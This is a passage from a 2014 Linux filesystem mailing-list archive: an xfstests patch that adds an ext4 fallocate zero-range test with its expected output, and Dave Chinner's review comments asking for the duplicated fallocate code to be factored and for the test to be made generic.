test(); -- 1.8.3.1 From lczerner@redhat.com Tue Feb 25 14:11:44 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 1AB027F56 for ; Tue, 25 Feb 2014 14:11:44 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id F22EC304071 for ; Tue, 25 Feb 2014 12:11:43 -0800 (PST) X-ASG-Debug-ID: 1393359102-04cb6c567534b70001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id eyN8gsL2VEUEV3l0 for ; Tue, 25 Feb 2014 12:11:43 -0800 (PST) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1PKBThY016417 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 25 Feb 2014 15:11:41 -0500 Received: from localhost.localdomain.com (vpn1-4-133.ams2.redhat.com [10.36.4.133]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s1PJFTa9013764; Tue, 25 Feb 2014 14:15:44 -0500 From: Lukas Czerner To: linux-ext4@vger.kernel.org Cc: xfs@oss.sgi.com, linux-fsdevel@vger.kernel.org, Lukas Czerner Subject: [PATCH 6/6] ext4/242: Add ext4 specific test for fallocate zero range Date: Tue, 25 Feb 2014 20:15:28 +0100 X-ASG-Orig-Subj: [PATCH 6/6] ext4/242: Add ext4 specific test for fallocate zero range Message-Id: <1393355728-12056-6-git-send-email-lczerner@redhat.com> In-Reply-To: <1393355728-12056-1-git-send-email-lczerner@redhat.com> References: <1393355728-12056-1-git-send-email-lczerner@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393359102 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 This is copy of xfs/242. However it's better to make it file system specific because the range can be zeroes either directly by writing zeroes, or converting to unwritten extent, so the actual result might differ from file system to file system. Signed-off-by: Lukas Czerner --- tests/ext4/242 | 63 ++++++++++++++++++++++++++++++++++++++++ tests/ext4/242.out | 84 ++++++++++++++++++++++++++++++++++++++++++++++++++++++ tests/ext4/group | 1 + 3 files changed, 148 insertions(+) create mode 100755 tests/ext4/242 create mode 100644 tests/ext4/242.out diff --git a/tests/ext4/242 b/tests/ext4/242 new file mode 100755 index 0000000..f34036c --- /dev/null +++ b/tests/ext4/242 @@ -0,0 +1,63 @@ +#! /bin/bash +# FS QA Test No. 242 +# +# Test fallocate FALLOC_FL_ZERO_RANGE +# +#----------------------------------------------------------------------- +# Copyright (c) 2010 Red Hat. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +# +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! + +_cleanup() +{ + rm -f $tmp.* +} + +trap "_cleanup ; exit \$status" 0 1 2 3 15 + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter +. ./common/punch + +# real QA test starts here +_supported_fs ext4 +_supported_os Linux +_require_xfs_io_falloc_zero + +_test_io_zero() +{ + $XFS_IO_PROG -c "fzero help" 2>&1 | \ + grep 'command "zero" not found' > /dev/null + echo $? +} + +[ $(_test_io_zero) -eq 0 ] && _notrun "fzero command not supported" + +testfile=$TEST_DIR/242.$$ + +_test_generic_punch falloc fzero fzero fiemap _filter_fiemap $testfile + +status=0 ; exit diff --git a/tests/ext4/242.out b/tests/ext4/242.out new file mode 100644 index 0000000..3b80b4d --- /dev/null +++ b/tests/ext4/242.out @@ -0,0 +1,84 @@ +QA output created by 242 + 1. into a hole +0: [0..7]: hole +1: [8..23]: unwritten +2: [24..39]: hole +daa100df6e6711906b61c9ab5aa16032 + 2. into allocated space +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: data +cc58a7417c2d7763adc45b6fcd3fa024 + 3. into unwritten space +0: [0..39]: unwritten +daa100df6e6711906b61c9ab5aa16032 + 4. hole -> data +0: [0..7]: hole +1: [8..23]: unwritten +2: [24..31]: data +3: [32..39]: hole +cc63069677939f69a6e8f68cae6a6dac + 5. hole -> unwritten +0: [0..7]: hole +1: [8..31]: unwritten +2: [32..39]: hole +daa100df6e6711906b61c9ab5aa16032 + 6. data -> hole +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: hole +1b3779878366498b28c702ef88c4a773 + 7. data -> unwritten +0: [0..7]: data +1: [8..31]: unwritten +2: [32..39]: hole +1b3779878366498b28c702ef88c4a773 + 8. unwritten -> hole +0: [0..23]: unwritten +1: [24..39]: hole +daa100df6e6711906b61c9ab5aa16032 + 9. unwritten -> data +0: [0..23]: unwritten +1: [24..31]: data +2: [32..39]: hole +cc63069677939f69a6e8f68cae6a6dac + 10. hole -> data -> hole +0: [0..7]: hole +1: [8..31]: unwritten +2: [32..39]: hole +daa100df6e6711906b61c9ab5aa16032 + 11. data -> hole -> data +0: [0..7]: data +1: [8..31]: unwritten +2: [32..39]: data +f6aeca13ec49e5b266cd1c913cd726e3 + 12. unwritten -> data -> unwritten +0: [0..7]: data +1: [8..31]: unwritten +2: [32..39]: data +daa100df6e6711906b61c9ab5aa16032 + 13. data -> unwritten -> data +0: [0..7]: data +1: [8..31]: unwritten +2: [32..39]: data +f6aeca13ec49e5b266cd1c913cd726e3 + 14. data -> hole @ EOF +0: [0..23]: data +1: [24..39]: unwritten +e1f024eedd27ea6b1c3e9b841c850404 + 15. data -> hole @ 0 +0: [0..15]: unwritten +1: [16..39]: data +eecb7aa303d121835de05028751d301c + 16. data -> cache cold ->hole +0: [0..15]: unwritten +1: [16..39]: data +eecb7aa303d121835de05028751d301c + 17. data -> hole in single block file +0: [0..7]: data +0000000 cdcd cdcd cdcd cdcd cdcd cdcd cdcd cdcd +* +0000200 0000 0000 0000 0000 0000 0000 0000 0000 +* +0000400 cdcd cdcd cdcd cdcd cdcd cdcd cdcd cdcd +* diff --git a/tests/ext4/group b/tests/ext4/group index 7e1a68b..c8b47cc 100644 --- a/tests/ext4/group +++ b/tests/ext4/group @@ -3,6 +3,7 @@ # - do not start group names with a digit # - comment line before each group is "new" description # +242 auto prealloc quick 271 auto rw quick 301 aio dangerous ioctl rw stress 302 aio dangerous ioctl rw stress -- 1.8.3.1 From david@fromorbit.com Tue Feb 25 14:15:45 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 06D227F50 for ; Tue, 25 Feb 2014 14:15:45 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id BD963304075 for ; Tue, 25 Feb 2014 12:15:44 -0800 (PST) X-ASG-Debug-ID: 1393359342-04bdf05daa37d40001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id 86QcfdCbakrxtTk7 for ; Tue, 25 Feb 2014 12:15:42 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AtpMAFb5DFN5LJYePGdsb2JhbABZgwaIT7Q9hVaBGRcDAQEBATg1giUBAQU6HCMQCAMOCgklDwUlAwcaE4gEyDUXFo46B4Q4BJg1lWoo Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail05.adl6.internode.on.net with ESMTP; 26 Feb 2014 06:45:41 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WIOPk-00026N-11; Wed, 26 Feb 2014 07:15:40 +1100 Date: Wed, 26 Feb 2014 07:15:40 +1100 From: Dave Chinner To: Lukas Czerner Cc: linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-fsdevel@vger.kernel.org Subject: Re: [PATCH 2/6] xfstests: Add fallocate zero range operation to fsstress Message-ID: <20140225201539.GZ13647@dastard> X-ASG-Orig-Subj: Re: [PATCH 2/6] xfstests: Add fallocate zero range operation to fsstress References: <1393355728-12056-1-git-send-email-lczerner@redhat.com> <1393355728-12056-2-git-send-email-lczerner@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1393355728-12056-2-git-send-email-lczerner@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1393359342 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145507 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Feb 25, 2014 at 08:15:24PM +0100, Lukas Czerner wrote: > Signed-off-by: Lukas Czerner commit message? > @@ -2561,6 +2567,62 @@ punch_f(int opno, long r) > } > > void > +zero_f(int opno, long r) > +{ > +#ifdef FALLOCATE > + int e; > + pathname_t f; > + int fd; > + __int64_t lr; > + off64_t off; > + off64_t len; > + struct stat64 stb; > + int v; > + char st[1024]; [snip] We now have 3 copies of this fallocate code, the only difference between the copies being the mode: > + int mode = FALLOC_FL_ZERO_RANGE; passed into the fallocate function. Please factor. > + > + init_pathname(&f); > + if (!get_fname(FT_REGFILE, r, &f, NULL, NULL, &v)) { > + if (v) > + printf("%d/%d: zero range - no filename\n", procid, opno); > + free_pathname(&f); > + return; > + } > + fd = open_path(&f, O_RDWR); > + e = fd < 0 ? errno : 0; while you are there, get rid of the ternary operations and just use if (fd < 0) e = errno; > + check_cwd(); This can go after we've checked for an error on open, which avoids needing to save the errno.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Tue Feb 25 14:19:20 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id BDBEF7F50 for ; Tue, 25 Feb 2014 14:19:20 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 8EA6D304077 for ; Tue, 25 Feb 2014 12:19:20 -0800 (PST) X-ASG-Debug-ID: 1393359558-04cb6c567534fc0001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id goZFHOsdLX1jnHP2 for ; Tue, 25 Feb 2014 12:19:19 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AtpMAIf6DFN5LJYePGdsb2JhbABZgwaIT7Q9hVaBGRcDAQEBATg1giUBAQU6HCMQCAMOCgklDwUlAwcaE4gEyDUXFo1WZAeDJIEUAQOYNYpTiUWBUiiBLA Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail05.adl6.internode.on.net with ESMTP; 26 Feb 2014 06:48:54 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WIOSs-000274-3u; Wed, 26 Feb 2014 07:18:54 +1100 Date: Wed, 26 Feb 2014 07:18:54 +1100 From: Dave Chinner To: Lukas Czerner Cc: linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-fsdevel@vger.kernel.org Subject: Re: [PATCH 3/6] xfstests: fsstress punch should always have FALLOC_FL_KEEP_SIZE set Message-ID: <20140225201854.GA13647@dastard> X-ASG-Orig-Subj: Re: [PATCH 3/6] xfstests: fsstress punch should always have FALLOC_FL_KEEP_SIZE set References: <1393355728-12056-1-git-send-email-lczerner@redhat.com> <1393355728-12056-3-git-send-email-lczerner@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1393355728-12056-3-git-send-email-lczerner@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1393359558 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145507 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Feb 25, 2014 at 08:15:25PM +0100, Lukas Czerner wrote: > Signed-off-by: Lukas Czerner > --- > ltp/fsstress.c | 2 +- > 1 file changed, 1 insertion(+), 1 deletion(-) > > diff --git a/ltp/fsstress.c b/ltp/fsstress.c > index 4c3368f..42c8a5a 100644 > --- a/ltp/fsstress.c > +++ b/ltp/fsstress.c > @@ -2555,8 +2555,8 @@ punch_f(int opno, long r) > off = (off64_t)(lr % MIN(stb.st_size + (1024 * 1024), MAXFSIZE)); > off %= maxfsize; > len = (off64_t)(random() % (1024 * 1024)); > - mode |= FALLOC_FL_KEEP_SIZE & random(); > e = fallocate(fd, mode, (loff_t)off, (loff_t)len) < 0 ? errno : 0; > + mode |= FALLOC_FL_KEEP_SIZE; > if (v) > printf("%d/%d: punch hole(%d) %s %s %lld %lld %d\n", > procid, opno, mode, NACK. There's nothing wrong with testing a set of parameters that should fail in a stress test. Regardless, the patch is wrong... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Tue Feb 25 14:32:03 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 256797F50 for ; Tue, 25 Feb 2014 14:32:03 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 026E5304077 for ; Tue, 25 Feb 2014 12:32:02 -0800 (PST) X-ASG-Debug-ID: 1393360321-04cb6c567735600001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id jhwNGlOACxmXRue0 for ; Tue, 25 Feb 2014 12:32:01 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: At5MAMf8DFN5LJYePGdsb2JhbABZgwaIT7Q9hVaBGRcDAQEBATg1giUBAQQBJxMcIwULCAMOCgklDwUlAwcaE4d9B8g1FxaOOgeDJIEUAQOYNZVqKA Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail05.adl6.internode.on.net with ESMTP; 26 Feb 2014 07:01:59 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WIOfW-00029C-EJ; Wed, 26 Feb 2014 07:31:58 +1100 Date: Wed, 26 Feb 2014 07:31:58 +1100 From: Dave Chinner To: Lukas Czerner Cc: linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH 4/6] xfstests: Add fallocate zero range operation to fsx Message-ID: <20140225203158.GB13647@dastard> X-ASG-Orig-Subj: Re: [PATCH 4/6] xfstests: Add fallocate zero range operation to fsx References: <1393355728-12056-1-git-send-email-lczerner@redhat.com> <1393355728-12056-4-git-send-email-lczerner@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1393355728-12056-4-git-send-email-lczerner@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1393360321 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145507 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Feb 25, 2014 at 08:15:26PM +0100, Lukas Czerner wrote: > Signed-off-by: Lukas Czerner commit message? > #define OP_CLOSEOPEN 100 > @@ -142,6 +144,7 @@ int seed = 1; /* -S flag */ > int mapped_writes = 1; /* -W flag disables */ > int fallocate_calls = 1; /* -F flag disables */ > int punch_hole_calls = 1; /* -H flag disables */ > +int zero_range_calls = 1; /* -E flag disables */ '-E' doesn't make much sense - '-z' would be better.... > int mapped_reads = 1; /* -R flag disables it */ > int fsxgoodfd = 0; > int o_direct; /* -Z */ > @@ -320,6 +323,14 @@ logdump(void) > lp->args[0] + lp->args[1]) > prt("\t******PPPP"); > break; > + case OP_ZERO_RANGE: > + prt("ZERO 0x%x thru 0x%x\t(0x%x bytes)", > + lp->args[0], lp->args[0] + lp->args[1] - 1, > + lp->args[1]); > + if (badoff >= lp->args[0] && badoff < > + lp->args[0] + lp->args[1]) > + prt("\t******ZZZZ"); > + break; > case OP_SKIPPED: > prt("SKIPPED (no operation)"); > break; > @@ -882,6 +893,64 @@ do_punch_hole(unsigned offset, unsigned length) > } > #endif > > +#ifdef FALLOC_FL_ZERO_RANGE > +void > +do_zero_range(unsigned offset, unsigned length) > +{ > + unsigned end_offset; > + int max_offset = 0; > + int max_len = 0; > + int mode = FALLOC_FL_ZERO_RANGE; This is just a copy of the hole punch code with a different mode, OP and s/punch/zero/g. Please factor. ...... > +void > +test_zero_range() > +{ > +#ifdef FALLOC_FL_ZERO_RANGE > + if (!lite && zero_range_calls) { > + if (fallocate(fd, FALLOC_FL_ZERO_RANGE, > + 0, 1) && errno == EOPNOTSUPP) { > + if(!quiet) > + warn("main: filesystem does not support fallocate zero range, disabling"); > + zero_range_calls = 0; > + } else > + ftruncate(fd, 0); > + } > +#else /* ! ZERO RANGE */ > + zero_range_calls = 0; > +#endif > +} Third copy of this test code for fallocate. Please factor. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Tue Feb 25 14:39:37 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 6FEA17F50 for ; Tue, 25 Feb 2014 14:39:37 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 02CE6AC001 for ; Tue, 25 Feb 2014 12:39:36 -0800 (PST) X-ASG-Debug-ID: 1393360774-04cb6c567535a90001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id RrDeyq7HenpV8cGh for ; Tue, 25 Feb 2014 12:39:34 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AtpMADT/DFN5LJYePGdsb2JhbABZgwaIT7Q9hVaBGRcDAQEBATg1giUBAQU6HCMQCAMOCgklDwUlAwcaE4gEyDMXFo1WZAeDJIEUAQOYNZVqKIEs Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail05.adl6.internode.on.net with ESMTP; 26 Feb 2014 07:09:23 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WIOmg-0002Dr-Cc; Wed, 26 Feb 2014 07:39:22 +1100 Date: Wed, 26 Feb 2014 07:39:22 +1100 From: Dave Chinner To: Lukas Czerner Cc: linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-fsdevel@vger.kernel.org Subject: Re: [PATCH 5/6] xfstests: Define fallocate flags locally in fsx Message-ID: <20140225203922.GC13647@dastard> X-ASG-Orig-Subj: Re: [PATCH 5/6] xfstests: Define fallocate flags locally in fsx References: <1393355728-12056-1-git-send-email-lczerner@redhat.com> <1393355728-12056-5-git-send-email-lczerner@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1393355728-12056-5-git-send-email-lczerner@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1393360774 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145507 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Feb 25, 2014 at 08:15:27PM +0100, Lukas Czerner wrote: > Define fallocate flags such as FALLOC_FL_PUNCH_HOLE and > FALLOC_FL_ZERO_RANGE locally if they do not exist. > > Signed-off-by: Lukas Czerner > --- > ltp/fsx.c | 7 ++++++- > 1 file changed, 6 insertions(+), 1 deletion(-) > > diff --git a/ltp/fsx.c b/ltp/fsx.c > index b3c30db..331257e 100644 > --- a/ltp/fsx.c > +++ b/ltp/fsx.c > @@ -35,8 +35,13 @@ > #endif > #ifdef FALLOCATE > #include > +#ifndef FALLOC_FL_PUNCH_HOLE > +#define FALLOC_FL_PUNCH_HOLE 0x02 /* de-allocates range */ > +#endif > +#ifndef FALLOC_FL_ZERO_RANGE > +#define FALLOC_FL_ZERO_RANGE 0x10 /* zeroes range */ > +#endif > #endif This pattern is appearing all over the place in xfstests now. I'd suggest that this should really be handled by autoconf, include/config.h and src/globals.h.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Tue Feb 25 14:53:55 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 6E0577F50 for ; Tue, 25 Feb 2014 14:53:55 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id F2027AC002 for ; Tue, 25 Feb 2014 12:53:54 -0800 (PST) X-ASG-Debug-ID: 1393361631-04cbb066e739320001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id ZZ6Fro0yeObgSBAB for ; Tue, 25 Feb 2014 12:53:52 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AtpMAIkBDVN5LJYePGdsb2JhbABZgwaIT7Q9hVaBGRcDAQEBATg1giUBAQU6HCMQCAMOCgklDwUlAwcaE4gEyDYXFo46B4MkgRQEmDWVaig Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail05.adl6.internode.on.net with ESMTP; 26 Feb 2014 07:23:51 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WIP0f-0002GT-LF; Wed, 26 Feb 2014 07:53:49 +1100 Date: Wed, 26 Feb 2014 07:53:49 +1100 From: Dave Chinner To: Lukas Czerner Cc: linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH 6/6] ext4/242: Add ext4 specific test for fallocate zero range Message-ID: <20140225205349.GD13647@dastard> X-ASG-Orig-Subj: Re: [PATCH 6/6] ext4/242: Add ext4 specific test for fallocate zero range References: <1393355728-12056-1-git-send-email-lczerner@redhat.com> <1393355728-12056-6-git-send-email-lczerner@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1393355728-12056-6-git-send-email-lczerner@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1393361632 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145508 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Feb 25, 2014 at 08:15:28PM +0100, Lukas Czerner wrote: > This is copy of xfs/242. However it's better to make it file system > specific because the range can be zeroes either directly by writing > zeroes, or converting to unwritten extent, so the actual result might > differ from file system to file system. You could say the same thing about preallocation using unwritten extents. Yet, funnily enough, we have generic tests for them because all filesystems currently use unwritten extents for preallocation and behave identically.... This test is no different - all filesystems currently use unwritten extents, and so this test should be generic because all existing filesystems *should* behave the same. When we get a filesystem that zeros rather uses unwritten extents, we can add a new *generic* test that tests for zeroed data extents rather than unwritten extents. All that we will need is a method of checking what behaviour the filesystem has and adding that to a _requires directive to ensure the correct generic fallocate tests are run... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Tue Feb 25 14:56:02 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id EC7647F50 for ; Tue, 25 Feb 2014 14:56:01 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 89A06AC002 for ; Tue, 25 Feb 2014 12:56:01 -0800 (PST) X-ASG-Debug-ID: 1393361759-04bdf05da939490001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id aRh82UXqtHrqtWoa for ; Tue, 25 Feb 2014 12:55:59 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: 